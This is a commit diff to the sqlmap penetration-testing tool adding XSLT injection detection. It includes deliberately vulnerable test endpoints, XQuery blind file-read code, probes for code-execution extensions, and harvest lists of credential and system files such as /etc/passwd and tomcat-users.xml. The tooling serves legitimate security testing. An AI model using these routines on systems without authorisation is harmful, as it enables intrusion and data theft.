mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-10-11 22:19:55 +00:00
Adding switch --xslt
This commit is contained in:
@@ -351,6 +351,23 @@ def hql_evaluate(value):
|
||||
|
||||
# --- XPath endpoint (vulnerable search and login, backed by an in-memory XML document) ------------
|
||||
|
||||
XSLT_DOC = """<?xml version="1.0"?><catalog><item><name>luther</name><price>10</price></item>\
|
||||
<item><name>fluffy</name><price>20</price></item></catalog>"""
|
||||
|
||||
# The element slot: user input lands BETWEEN elements, so it can introduce whole XSLT instructions.
|
||||
XSLT_ELEMENT_SHEET = """<?xml version="1.0"?>
|
||||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||||
<xsl:output method="html"/><xsl:template match="/"><html><body><div>%s</div></body></html></xsl:template>
|
||||
</xsl:stylesheet>"""
|
||||
|
||||
# The value slot: user input lands INSIDE select="...", so it can only carry an XPath expression.
|
||||
XSLT_VALUE_SHEET = """<?xml version="1.0"?>
|
||||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||||
<xsl:output method="html"/><xsl:template match="/"><html><body><table>
|
||||
<xsl:for-each select="catalog/item"><xsl:sort select="%s"/><tr><td><xsl:value-of select="name"/></td></tr></xsl:for-each>
|
||||
</table></body></html></xsl:template>
|
||||
</xsl:stylesheet>"""
|
||||
|
||||
XPATH_XML = """<?xml version="1.0" encoding="UTF-8"?>
|
||||
<directory>
|
||||
<department name="IT Operations">
|
||||
@@ -1177,6 +1194,27 @@ class ReqHandler(BaseHTTPRequestHandler):
|
||||
self.wfile.write(output.encode(UNICODE_ENCODING))
|
||||
return
|
||||
|
||||
if self.url in ("/xslt/element", "/xslt/value"):
|
||||
# VULNERABLE: user input is concatenated into a stylesheet which is then compiled and applied
|
||||
element = self.url.endswith("element")
|
||||
source = self.params.get("tpl" if element else "sort", "" if element else "name")
|
||||
try:
|
||||
from lxml import etree
|
||||
sheet = (XSLT_ELEMENT_SHEET if element else XSLT_VALUE_SHEET) % source
|
||||
transform = etree.XSLT(etree.fromstring(sheet.encode("utf-8")))
|
||||
output = str(transform(etree.fromstring(XSLT_DOC.encode("utf-8"))))
|
||||
code = OK
|
||||
except Exception as ex:
|
||||
output = "<html><body><h1>XSLT error</h1><pre>%s: %s</pre></body></html>" % (type(ex).__name__, ex)
|
||||
code = INTERNAL_SERVER_ERROR
|
||||
|
||||
self.send_response(code)
|
||||
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
self.wfile.write(output.encode(UNICODE_ENCODING))
|
||||
return
|
||||
|
||||
if self.url == "/xpath/search":
|
||||
self.send_response(OK)
|
||||
self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
|
||||
|
||||
@@ -88,6 +88,7 @@ from lib.core.settings import INFERENCE_EQUALS_CHAR
|
||||
from lib.core.settings import LDAP_ERROR_REGEX
|
||||
from lib.core.settings import SSTI_ERROR_REGEX
|
||||
from lib.core.settings import XPATH_ERROR_REGEX
|
||||
from lib.core.settings import XSLT_ERROR_REGEX
|
||||
from lib.core.settings import XXE_ERROR_REGEX
|
||||
from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
|
||||
from lib.core.settings import IPS_WAF_CHECK_RATIO
|
||||
@@ -1188,13 +1189,13 @@ def heuristicCheckSqlInjection(place, parameter):
|
||||
kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N', boolean=True)
|
||||
|
||||
elif result:
|
||||
infoMsg += "be injectable"
|
||||
infoMsg += "be SQL injectable"
|
||||
if Backend.getErrorParsedDBMSes():
|
||||
infoMsg += " (possible DBMS: '%s')" % Format.getErrorParsedDBMSes()
|
||||
logger.info(infoMsg)
|
||||
|
||||
else:
|
||||
infoMsg += "not be injectable"
|
||||
infoMsg += "not be SQL injectable"
|
||||
logger.warning(infoMsg)
|
||||
|
||||
kb.heuristicMode = True
|
||||
@@ -1271,6 +1272,12 @@ def heuristicCheckSqlInjection(place, parameter):
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.xslt and re.search(XSLT_ERROR_REGEX, page or ""):
|
||||
infoMsg = "heuristic (XSLT) test shows that %sparameter '%s' might be vulnerable to XSLT injection (rerun with switch '--xslt')" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and re.search(XXE_ERROR_REGEX, page or ""):
|
||||
infoMsg = "heuristic (XXE) test shows that the XML request body might be vulnerable to XML External Entity injection (rerun with switch '--xxe')"
|
||||
logger.info(infoMsg)
|
||||
|
||||
@@ -532,12 +532,12 @@ def start():
|
||||
|
||||
checkJWT()
|
||||
|
||||
if conf.mineParams and not any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql, conf.jwt)):
|
||||
if conf.mineParams and not any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.xslt, conf.hql, conf.jwt)):
|
||||
from lib.utils.paraminer import mineParameters
|
||||
mineParameters()
|
||||
|
||||
if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql, conf.jwt)) and (conf.reportJson or conf.resultsFile):
|
||||
singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe/--hql/--jwt) findings; these are reported on the console only")
|
||||
if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.xslt, conf.hql, conf.jwt)) and (conf.reportJson or conf.resultsFile):
|
||||
singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xslt/--xxe/--hql/--jwt) findings; these are reported on the console only")
|
||||
|
||||
if conf.graphql:
|
||||
from lib.techniques.graphql.inject import graphqlScan
|
||||
@@ -564,6 +564,11 @@ def start():
|
||||
sstiScan()
|
||||
continue
|
||||
|
||||
if conf.xslt:
|
||||
from lib.techniques.xslt.inject import xsltScan
|
||||
xsltScan()
|
||||
continue
|
||||
|
||||
if conf.xxe:
|
||||
from lib.techniques.xxe.inject import xxeScan
|
||||
xxeScan()
|
||||
|
||||
+7
-5
@@ -945,10 +945,12 @@ def _setTamperingFunctions():
|
||||
logger.warning(warnMsg)
|
||||
|
||||
# tamper scripts rewrite SQL injection payloads; the self-contained non-SQL engines
|
||||
# (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) do not run payloads through the tampering hook, so
|
||||
# warn instead of silently ignoring the user's '--tamper'
|
||||
if kb.tamperFunctions and any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe)):
|
||||
engine = next(_ for _ in ("graphql", "nosql", "ldap", "xpath", "ssti", "xxe") if conf.get(_))
|
||||
# (--graphql/--nosql/--ldap/--xpath/--ssti/--xslt/--xxe) do not run payloads through the tampering
|
||||
# hook, so warn instead of silently ignoring the user's '--tamper'. One tuple drives both the test
|
||||
# and the name lookup - keeping two lists in step is exactly how this raised StopIteration.
|
||||
_nonSqlEngines = ("graphql", "nosql", "ldap", "xpath", "ssti", "xslt", "xxe")
|
||||
if kb.tamperFunctions and any(conf.get(_) for _ in _nonSqlEngines):
|
||||
engine = next(_ for _ in _nonSqlEngines if conf.get(_))
|
||||
warnMsg = "tamper scripts are applied to SQL injection payloads only and "
|
||||
warnMsg += "will be ignored by the '--%s' engine" % engine
|
||||
logger.warning(warnMsg)
|
||||
@@ -2755,7 +2757,7 @@ def _checkTor():
|
||||
def _basicOptionValidation():
|
||||
_nonSqlTechniques = [name for name, enabled in (
|
||||
("--graphql", conf.graphql), ("--nosql", conf.nosql), ("--ldap", conf.ldap),
|
||||
("--xpath", conf.xpath), ("--ssti", conf.ssti), ("--xxe", conf.xxe), ("--hql", conf.hql)) if enabled]
|
||||
("--xpath", conf.xpath), ("--ssti", conf.ssti), ("--xxe", conf.xxe), ("--xslt", conf.xslt), ("--hql", conf.hql)) if enabled]
|
||||
if len(_nonSqlTechniques) > 1:
|
||||
errMsg = "only one non-SQL technique switch may be used at a time (found: %s). " % ", ".join(_nonSqlTechniques)
|
||||
errMsg += "each is a self-contained scan for a different back-end class - pick one"
|
||||
|
||||
@@ -126,6 +126,7 @@ optDict = {
|
||||
"xpath": "boolean",
|
||||
"ssti": "boolean",
|
||||
"xxe": "boolean",
|
||||
"xslt": "boolean",
|
||||
"hql": "boolean",
|
||||
"jwt": "boolean",
|
||||
"oobServer": "string",
|
||||
|
||||
+88
-2
@@ -20,7 +20,7 @@ from lib.core.enums import OS
|
||||
from thirdparty import six
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.10.8.12"
|
||||
VERSION = "1.10.8.13"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
@@ -1168,7 +1168,9 @@ XPATH_ERROR_SIGNATURES = (
|
||||
("eXist", r"org\.exist\.xquery\.(?:XPathException|XQueryException)"),
|
||||
("eXist", r"exerr:ERROR"),
|
||||
("Python ElementTree", r"xml\.etree\.ElementTree\.(?:ParseError|Element)"),
|
||||
("Generic XPath", r"(?:XPath|XSLT).*?(?:error|exception|syntax)"),
|
||||
# NOT XSLT: a dedicated '--xslt' engine owns those errors now, and claiming them here made every
|
||||
# XSLT parser error suggest '--xpath' as well
|
||||
("Generic XPath", r"XPath.*?(?:error|exception|syntax)"),
|
||||
("Generic XPath", r"Invalid XPath|XPath evaluation failed"),
|
||||
)
|
||||
|
||||
@@ -1184,6 +1186,90 @@ XPATH_MAX_DEPTH = 32
|
||||
# Upper bound for the value-length search during XPath blind extraction
|
||||
XPATH_MAX_LENGTH = 256
|
||||
|
||||
# XQuery (XPath 2.0/3.x) supersets XPath 1.0, so the same injection boundary reaches a much richer
|
||||
# language. These probes are TRUE on an XQuery processor and a SYNTAX ERROR on an XPath 1.0 one, which is
|
||||
# what makes them a capability test rather than a guess: string-join/matches/upper-case simply do not
|
||||
# exist in 1.0. Engines: Saxon, BaseX, eXist-db, MarkLogic, Zorba.
|
||||
XQUERY_CAPABILITY_PROBES = (
|
||||
"string-join(('a','b'),'')='ab'",
|
||||
"upper-case('a')='A'",
|
||||
"matches('a','a')",
|
||||
)
|
||||
|
||||
# XQuery file-read primitive: fn:unparsed-text() returns a text file as a string, so the existing blind
|
||||
# character bisection recovers it unchanged. doc() is the XML equivalent (and the OOB vector when it is
|
||||
# handed an http:// URI).
|
||||
XQUERY_FILE_READ = "unparsed-text(%s)"
|
||||
XQUERY_MAX_FILE_LENGTH = 4096
|
||||
|
||||
# Proactive harvest for a confirmed XQuery back-end. Deliberately SHORT: unlike an in-band read, every
|
||||
# character here costs a bisection round-trip, so this is the identity/secret minimum rather than the
|
||||
# broad sweep an in-band engine can afford.
|
||||
XQUERY_FILE_HARVEST = (
|
||||
"/etc/passwd",
|
||||
"/etc/hostname",
|
||||
"/proc/self/environ",
|
||||
"/proc/self/cmdline",
|
||||
"c:/windows/win.ini",
|
||||
)
|
||||
# Characters recovered from the ONE file the harvest extracts a sample from. Every character costs about
|
||||
# eight bisection round-trips, so a full /etc/passwd would be thousands of requests against the target.
|
||||
# The harvest therefore PROVES readability across the list for ~1 request each and samples a short prefix
|
||||
# from the first hit only. An explicit '--file-read' is a deliberate request and still gets the full
|
||||
# XQUERY_MAX_FILE_LENGTH.
|
||||
XQUERY_HARVEST_CHARS = 32
|
||||
|
||||
# XSLT injection ('--xslt'). Compile/runtime errors are per-engine and are what reaches a target whose
|
||||
# output is fixed, so they double as the fingerprint when nothing can be reflected.
|
||||
# Ordered MOST SPECIFIC FIRST and matched in order: PHP's XSLTProcessor and lxml are both libxslt
|
||||
# underneath and emit its wording too, so the generic libxslt entry has to come last or it would shadow
|
||||
# the binding that actually tells the tester what they are talking to.
|
||||
XSLT_ERROR_SIGNATURES = (
|
||||
("PHP XSLTProcessor", r"XSLTProcessor::(?:importStylesheet|transformTo\w+)\(\)"),
|
||||
("libxslt / lxml", r"lxml\.etree\.(?:XSLT(?:Parse|Apply|)Error|XPathEvalError)"),
|
||||
("Saxon", r"(?:net\.sf\.saxon\.|SaxonApiException|Static error(?:s)? (?:in|at)|XTDE\d{4}|XTSE\d{4})"),
|
||||
("Xalan / Java JAXP", r"(?:javax\.xml\.transform\.Transformer(?:Configuration)?Exception|org\.apache\.xalan|XSLT Error)"),
|
||||
(".NET XslCompiledTransform", r"System\.Xml\.Xsl\.(?:XslLoadException|XsltException)"),
|
||||
# Anchored to XSLT vocabulary on purpose: this regex also drives the GLOBAL heuristic hint in
|
||||
# checks.py, and bare "compilation error" / "Invalid expression" match gcc, javac and regex failures,
|
||||
# which would suggest '--xslt' on targets that have nothing to do with XSLT.
|
||||
("libxslt", r"(?:xsltParseStylesheet|xsltApplyStylesheet|xsltCompilePattern|xsl:\w+ : |xmlXPathEval|XPath error : )"),
|
||||
("Generic XSLT", r"(?:XSLT|xsl:stylesheet).{0,40}?(?:error|exception|fail)"),
|
||||
)
|
||||
|
||||
XSLT_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XSLT_ERROR_SIGNATURES)
|
||||
|
||||
# system-property() names the processor from inside the transformation, so a response carrying it is the
|
||||
# engine speaking rather than the application echoing.
|
||||
XSLT_VENDOR_PROPERTIES = ("xsl:vendor", "xsl:version", "xsl:vendor-url", "xsl:product-name", "xsl:product-version")
|
||||
|
||||
# Extension surfaces that would turn XSLT injection into code execution or a file WRITE. sqlmap reports
|
||||
# their availability and never invokes them - probing whether a function EXISTS is not exercising it.
|
||||
XSLT_RCE_PROBES = (
|
||||
("PHP registerPHPFunctions (php:function)", "string(function-available('php:function'))"),
|
||||
("EXSLT exsl:document (file write)", "string(element-available('exsl:document'))"),
|
||||
("Saxon saxon:eval", "string(function-available('saxon:eval'))"),
|
||||
("Xalan java: extension namespace", "string(function-available('java:java.lang.Runtime.getRuntime'))"),
|
||||
)
|
||||
|
||||
XSLT_MAX_FILE_LENGTH = 65536
|
||||
|
||||
# XSLT 1.0's document() parses its target as XML, so a text file simply fails to load - only an XSLT 2.0+
|
||||
# engine reaches arbitrary text through unparsed-text(). These are the high-value paths that ARE XML, so
|
||||
# the auto-harvest still returns something on a 1.0 engine (which is most of the installed base).
|
||||
XSLT_XML_HARVEST = (
|
||||
"/var/www/html/WEB-INF/web.xml",
|
||||
"/usr/local/tomcat/conf/tomcat-users.xml",
|
||||
"/usr/local/tomcat/conf/server.xml",
|
||||
"/opt/tomcat/conf/tomcat-users.xml",
|
||||
"/etc/tomcat/tomcat-users.xml",
|
||||
"c:/inetpub/wwwroot/web.config",
|
||||
"c:/windows/system32/inetsrv/config/applicationHost.config",
|
||||
)
|
||||
|
||||
# Bound on the proactive harvest so a confirmed finding cannot turn into hundreds of requests.
|
||||
XSLT_MAX_HARVEST = 12
|
||||
|
||||
# SSTI error signatures per template engine for detection and fingerprinting.
|
||||
# Each tuple is (engine_name, regex_fragment).
|
||||
SSTI_ERROR_SIGNATURES = (
|
||||
|
||||
+5
-3
@@ -96,6 +96,8 @@ def vulnTest(tests=None, label="vuln"):
|
||||
("-u \"<base>nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")), # NoSQL (MongoDB) operator-injection detection + blind regexp extraction
|
||||
("-u \"<base>graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "enumerated 6 injectable argument slot(s): 4 query, 2 mutation", "SQL injection via GraphQL (boolean-based)", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + query-slots-first (mutations only as fallback) + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed)
|
||||
("-u \"<base>ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP in-band data exposure", "LDAP: GET parameter 'q' in-band entries", "in-band data exposure", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing
|
||||
("-u \"<base>xslt/element?tpl=x\" --xslt --flush-session --disable-hashing", ("is vulnerable to XSLT injection", "element context", "Engine: libxslt", "Type: XSLT injection", "XSLT scan complete")), # XSLT: the engine names itself through system-property('xsl:vendor') in the element slot - a value the application cannot produce on its own
|
||||
("-u \"<base>xslt/value?sort=name\" --xslt --flush-session --disable-hashing", ("is vulnerable to XSLT injection", "value context", "XSLT compile-differential", "XSLT scan complete")), # XSLT: the value slot reflects nothing, so detection rests on the compile differential plus positive XPath-syntax evidence
|
||||
("-u \"<base>xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction
|
||||
("-u \"<base>ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe
|
||||
("-u \"<base>hql/search?name=admin\" -p name --hql --flush-session --disable-hashing", ("is vulnerable to HQL injection", "back-end: 'Hibernate'", "entity 'Users'", "s3cr3t", "HQL scan complete")), # HQL: error-based Hibernate fingerprint + boolean oracle + error-leaked entity + blind attribute enumeration and substring value extraction
|
||||
@@ -109,14 +111,14 @@ def vulnTest(tests=None, label="vuln"):
|
||||
("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")),
|
||||
)
|
||||
|
||||
# The vulnserver's XPath and XXE endpoints render with lxml and its SSTI endpoint with jinja2; where
|
||||
# The vulnserver's XPath, XXE and XSLT endpoints render with lxml and its SSTI endpoint with jinja2; where
|
||||
# those optional third-party engines are not importable (e.g. PyPy 2.7, which has no lxml wheel), skip
|
||||
# just those entries instead of failing the whole run - the rest of the suite is unaffected.
|
||||
try:
|
||||
__import__("lxml")
|
||||
except ImportError:
|
||||
TESTS = tuple(_ for _ in TESTS if "--xpath" not in _[0] and "--xxe" not in _[0])
|
||||
logger.warning("skipping the XPath and XXE vuln-test entries ('lxml' not available)")
|
||||
TESTS = tuple(_ for _ in TESTS if not any(_flag in _[0] for _flag in ("--xpath", "--xxe", "--xslt")))
|
||||
logger.warning("skipping the XPath, XXE and XSLT vuln-test entries ('lxml' not available)")
|
||||
try:
|
||||
__import__("jinja2")
|
||||
except ImportError:
|
||||
|
||||
@@ -802,6 +802,9 @@ def cmdLineParser(argv=None):
|
||||
nonsql.add_argument("--ssti", dest="ssti", action="store_true",
|
||||
help="Test for server-side template injection")
|
||||
|
||||
nonsql.add_argument("--xslt", dest="xslt", action="store_true",
|
||||
help="Test for XSLT injection")
|
||||
|
||||
nonsql.add_argument("--xxe", dest="xxe", action="store_true",
|
||||
help="Test for XML External Entity (XXE) injection")
|
||||
|
||||
|
||||
+138
-11
@@ -11,7 +11,10 @@ import time
|
||||
from collections import namedtuple
|
||||
|
||||
from lib.core.common import beep
|
||||
from lib.core.common import dataToOutFile
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import removeReflectiveValues
|
||||
from lib.core.convert import getBytes
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
@@ -32,6 +35,11 @@ from lib.core.settings import XPATH_ERROR_REGEX
|
||||
from lib.core.settings import XPATH_ERROR_SIGNATURES
|
||||
from lib.core.settings import XPATH_MAX_DEPTH
|
||||
from lib.core.settings import XPATH_MAX_LENGTH
|
||||
from lib.core.settings import XQUERY_CAPABILITY_PROBES
|
||||
from lib.core.settings import XQUERY_FILE_READ
|
||||
from lib.core.settings import XQUERY_FILE_HARVEST
|
||||
from lib.core.settings import XQUERY_HARVEST_CHARS
|
||||
from lib.core.settings import XQUERY_MAX_FILE_LENGTH
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.utils.xrange import xrange
|
||||
|
||||
@@ -152,6 +160,12 @@ def _send(place, parameter, value):
|
||||
if conf.verbose >= 3:
|
||||
logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
|
||||
page, _, code = Request.getPage(**kwargs)
|
||||
# Strip the payload back out before anyone compares pages. An endpoint that ECHOES the parameter
|
||||
# differs between any two probes simply because the two payloads differ - which satisfies a
|
||||
# true/false differential, and even the XPath-only confirm battery, without a single expression
|
||||
# ever being evaluated. That reported XSLT (and plain reflective) endpoints as XPath-injectable.
|
||||
# On a genuinely blind target the payload is not in the page, so this is a no-op.
|
||||
page = removeReflectiveValues(page, value, suppressWarning=True)
|
||||
# A transport failure or a BLOCKED/ERROR status (5xx, 403/429 WAF/rate-limit) is NOT a usable
|
||||
# oracle sample: returning "" for it would let a one-sided failure fake a true/false divergence
|
||||
# (an empty body cannot be told apart from a dead connection). Signal it as None -> the boolean
|
||||
@@ -371,16 +385,20 @@ class _XPathPayloadBuilder(object):
|
||||
def stringLengthAtLeast(self, target, n):
|
||||
return self._make("string-length(%s)>=%d" % (target, n))
|
||||
|
||||
def charPresent(self, target, pos):
|
||||
def charPresent(self, target, pos, literal=None):
|
||||
# True when the character at 1-based position `pos` of `target` belongs to
|
||||
# the known ordered charset (so its index can be resolved by bisection).
|
||||
return self._make("contains(%s,substring(%s,%d,1))" % (_CS_LITERAL, target, pos))
|
||||
return self._make("contains(%s,substring(%s,%d,1))" % (literal or _CS_LITERAL, target, pos))
|
||||
|
||||
def charIndexAtLeast(self, target, pos, n):
|
||||
def charIndexAtLeast(self, target, pos, n, literal=None):
|
||||
# The 0-based index of a charset member equals the length of the charset
|
||||
# prefix preceding it (XPath 1.0 has no lexicographic '<', but
|
||||
# string-length(substring-before(...)) yields a number we can bisect on).
|
||||
return self._make("string-length(substring-before(%s,substring(%s,%d,1)))>=%d" % (_CS_LITERAL, target, pos, n))
|
||||
return self._make("string-length(substring-before(%s,substring(%s,%d,1)))>=%d" % (literal or _CS_LITERAL, target, pos, n))
|
||||
|
||||
def predicate(self, expression):
|
||||
"""Send an arbitrary boolean expression through the verified boundary (XQuery capability probes)."""
|
||||
return self._make(expression)
|
||||
|
||||
|
||||
def _makeOracle(place, parameter, boundary, base):
|
||||
@@ -522,7 +540,7 @@ def _inferCount(oracle, builder, path, countFn, maxCount=128):
|
||||
return None
|
||||
|
||||
|
||||
def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH):
|
||||
def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH, ords=None, literal=None):
|
||||
"""Blindly recover the string value of XPath expression `target` (e.g.
|
||||
"name(/*)" or "string(/*[1]/@*[1])") using binary search.
|
||||
|
||||
@@ -547,10 +565,11 @@ def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH):
|
||||
|
||||
chars = []
|
||||
probes = 0
|
||||
last = len(_CS_ORDS) - 1
|
||||
ords = ords or _CS_ORDS
|
||||
last = len(ords) - 1
|
||||
for pos in xrange(1, length + 1):
|
||||
probes += 1
|
||||
if not oracle.extract(builder.charPresent(target, pos)):
|
||||
if not oracle.extract(builder.charPresent(target, pos, literal)):
|
||||
chars.append("?")
|
||||
continue
|
||||
|
||||
@@ -558,11 +577,11 @@ def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH):
|
||||
while clo < chi:
|
||||
cmid = (clo + chi + 1) // 2
|
||||
probes += 1
|
||||
if oracle.extract(builder.charIndexAtLeast(target, pos, cmid)):
|
||||
if oracle.extract(builder.charIndexAtLeast(target, pos, cmid, literal)):
|
||||
clo = cmid
|
||||
else:
|
||||
chi = cmid - 1
|
||||
chars.append(chr(_CS_ORDS[clo]))
|
||||
chars.append(chr(ords[clo]))
|
||||
except InconclusiveError:
|
||||
# abort this value rather than emit a length/char chosen from an ambiguous bit
|
||||
logger.warning("XPath string inference aborted (oracle inconclusive after retries)")
|
||||
@@ -573,6 +592,68 @@ def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH):
|
||||
return value or None
|
||||
|
||||
|
||||
# File content carries bytes the XML-tree charset deliberately excludes (tab, newline, quotes, angle
|
||||
# brackets). Recovering a file with those replaced by '?' would be worse than useless, so a file read gets
|
||||
# its own charset. Tab and newline are produced with fn:codepoints-to-string() rather than an XML
|
||||
# character reference: the payload travels in a query-string parameter, where a literal '&' would split
|
||||
# it into two parameters. This literal is only ever used on the XQuery path, where the function exists.
|
||||
_FILE_ORDS = [0x09, 0x0a] + [_ for _ in xrange(XPATH_CHAR_MIN, XPATH_CHAR_MAX + 1)]
|
||||
# Built entirely from codepoints rather than a quoted string: the charset contains ', ", & and < , each of
|
||||
# which is either illegal bare in an XQuery string literal ('&' -> "Invalid entity") or would need
|
||||
# escaping that survives URL transport. fn:codepoints-to-string() takes the whole sequence and has none of
|
||||
# those hazards.
|
||||
_FILE_LITERAL = "codepoints-to-string((%s))" % ",".join(str(_) for _ in _FILE_ORDS)
|
||||
|
||||
|
||||
def _probeXQuery(oracle, builder):
|
||||
"""True when the injected expression reaches an XQuery / XPath 2.0+ processor rather than an XPath 1.0
|
||||
one. Each probe calls a function that does not exist in 1.0, so a positive answer is a capability the
|
||||
engine demonstrated - not an inference from an error string or a version banner.
|
||||
|
||||
A second, NEGATIVE control matters here: an oracle that answers TRUE to everything would otherwise be
|
||||
read as 'XQuery'. The false control must come back false for the verdict to stand."""
|
||||
|
||||
try:
|
||||
if oracle.extract(builder.predicate("string-join(('a','b'),'')='zz'")):
|
||||
return False # answers true to a FALSE probe -> oracle is not discriminating
|
||||
for probe in XQUERY_CAPABILITY_PROBES:
|
||||
if oracle.extract(builder.predicate(probe)):
|
||||
return True
|
||||
except InconclusiveError:
|
||||
return False
|
||||
return False
|
||||
|
||||
|
||||
def _xqueryFileRead(oracle, builder, path, quiet=False, maxLen=XQUERY_MAX_FILE_LENGTH):
|
||||
"""Recover a text file through fn:unparsed-text() using the same blind bisection that walks the XML
|
||||
tree - the boundary is already proven, so this needs no new oracle. `quiet` suppresses the
|
||||
not-readable notice, because the proactive harvest expects most of its paths to be absent."""
|
||||
|
||||
target = XQUERY_FILE_READ % _xpathQuote(path)
|
||||
try:
|
||||
if not oracle.extract(builder.predicate("string-length(%s)>0" % target)):
|
||||
if not quiet:
|
||||
logger.warning("XQuery file read: '%s' is empty or not readable" % path)
|
||||
return None
|
||||
except InconclusiveError:
|
||||
return None
|
||||
return _inferString(oracle, builder, target, maxLen=maxLen,
|
||||
ords=_FILE_ORDS, literal=_FILE_LITERAL)
|
||||
|
||||
|
||||
def _dumpFileRead(remoteFile, content):
|
||||
"""Save an XQuery-read file to the output directory (parity with '--file-read')."""
|
||||
try:
|
||||
localPath = dataToOutFile(remoteFile, getBytes(content))
|
||||
except Exception as ex:
|
||||
logger.debug("could not save the XQuery-read file to disk: %s" % getUnicode(ex))
|
||||
localPath = None
|
||||
if localPath:
|
||||
conf.dumper.rFile([localPath])
|
||||
else:
|
||||
conf.dumper.singleString("XQuery file read ('%s'):\n%s" % (remoteFile, content))
|
||||
|
||||
|
||||
def _walkTree(oracle, builder, path="/*", depth=0):
|
||||
"""Recursively walk the XML tree from a given XPath expression.
|
||||
Returns a dict: {name, path, children, attributes, text} or None."""
|
||||
@@ -799,8 +880,54 @@ def xpathScan():
|
||||
logger.info("identified back-end: '%s'" % backend)
|
||||
slot = slot._replace(backend=backend)
|
||||
|
||||
title = "XPath boolean-based blind"
|
||||
conf.dumper.singleString("---\nParameter: %s (%s)\n Type: XPath injection\n Title: %s\n Payload: %s=%s\n---" % (slot.parameter, slot.place, title, slot.parameter, slot.payload))
|
||||
# An XQuery/XPath-2.0+ processor accepts the same boundary but a far larger language, so say so and
|
||||
# use it: fn:unparsed-text() turns the proven boolean oracle into a file-read primitive.
|
||||
isXQuery = _probeXQuery(oracle, builder)
|
||||
if isXQuery:
|
||||
logger.info("the back-end evaluates XQuery / XPath 2.0+ (fn:string-join, fn:matches, fn:unparsed-text are available)")
|
||||
if slot.backend in (None, "Generic XPath"):
|
||||
slot = slot._replace(backend="Generic XQuery / XPath 2.0+")
|
||||
|
||||
title = "XQuery boolean-based blind" if isXQuery else "XPath boolean-based blind"
|
||||
conf.dumper.singleString("---\nParameter: %s (%s)\n Type: %s injection\n Title: %s\n Payload: %s=%s\n---" % (slot.parameter, slot.place, "XQuery" if isXQuery else "XPath", title, slot.parameter, slot.payload))
|
||||
|
||||
if isXQuery:
|
||||
# A confirmed XQuery back-end is exploited automatically, like every other non-SQL engine: the
|
||||
# tree walk below is the data dump, and fn:unparsed-text() is the file-read impact. An explicit
|
||||
# '--file-read' overrides the harvest and is honoured verbatim instead.
|
||||
if conf.fileRead:
|
||||
logger.info("reading file '%s' through fn:unparsed-text()" % conf.fileRead)
|
||||
content = _xqueryFileRead(oracle, builder, conf.fileRead)
|
||||
if content:
|
||||
logger.info("XQuery file read succeeded (%d characters)" % len(content))
|
||||
